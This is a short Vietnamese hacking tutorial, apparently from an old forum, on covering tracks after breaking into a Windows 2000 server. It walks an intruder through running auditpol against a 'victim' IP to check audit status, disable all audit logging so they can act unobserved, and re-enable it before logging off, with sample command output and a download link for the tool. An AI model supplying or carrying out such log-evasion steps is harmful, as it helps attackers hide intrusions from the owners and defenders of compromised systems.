Bật (tắt) audit record bằng auditpol (for Server 2k)

Bật ( tắt ) audit record bằng auditpol (for Server 2k) Một trong các bước quan trọng của hacker khi đã thâm nhập được vào Server là tìm cách xóa dấu tích của mình trong Audit Record.(audit là chức năng lưu lại tòan bộ hành động thâm nhập và thay đổi của hacker vào server , cho dù bạn có thâm nhập thành công hay không). Có nhiều cách để xóa log này. Tôi sẽ chỉ cho các bạn 1 cách rất đơn giản và hiệu quả là dùng tool auditpol. Auditpol không xóa file log ( trong nhiều trường hợp xóa file log không phả là giải pháp tốt để xâm nhập lâu dài ), mà nó chỉ disable chức năng audit. Bạn cũng có thể enable chức năng này sau khi rút lui ( logoff ).Cách dùng auditpol rất dễ. Trước tiên bạn thử kiểm tra xem máy victim có bật chế độ audit không (auditpol chạy trong môi trường DOS):C:\auditpol IP_victimRunning ...(X) Audit EnabledAuditCategorySystem                      = Success and FailureAuditCategoryLogon                       = Success and FailureAuditCategoryObjectAccess             = Success and FailureAuditCategoryPrivilegeUse                = Success and FailureAuditCategoryDetailedTracking         = Success and FailureAuditCategoryPolicyChange             = Success and FailureAuditCategoryAccountManagement = Success and FailureUnknown                                     = Success and FailureUnknown                                     = Success and FailureNó sẽ hiện ra tất cả các chức năng của audit và tình trạng hiện thời của các chức năng đó ( đang bật hay tắt )Cái mà bạn cần lưu tâm nhất là dòng thông báo đầu tiên " (X) Audit Enabled ". Như vậy audit trên máy victim đang họat động.Ta chỉ cần tắt audit bằng lệnh:C:\auditpol IP_victim /disableRunning ...Audit information changed successfully on IP_victim ...New audit policy on IP_victim ...( 0 ) Audit DisabledAuditCategorySystem                    = NoAuditCategoryLogon                      = NoAuditCategoryObjectAccess            = NoAuditCategoryPrivilegeUse                = NoAuditCategoryDetailedTracking         = NoAuditCategoryPolicyChange             = NoAuditCategoryAccountManagement = NoUnknown                                      = NoUnknown                                     = NoBây giờ thì bạn yên tâm tung hòanh trong máy victim mà không sợ bị theo dõi...:)Trước khi logoff bạn cũng đừng quên trả lại trạng thái ban đầu cho audit nhé. Bạn dùng lệnhC:\auditpol IP_victim /enableBạn có thể download auditpol tại www.download.tungxeng.net.ms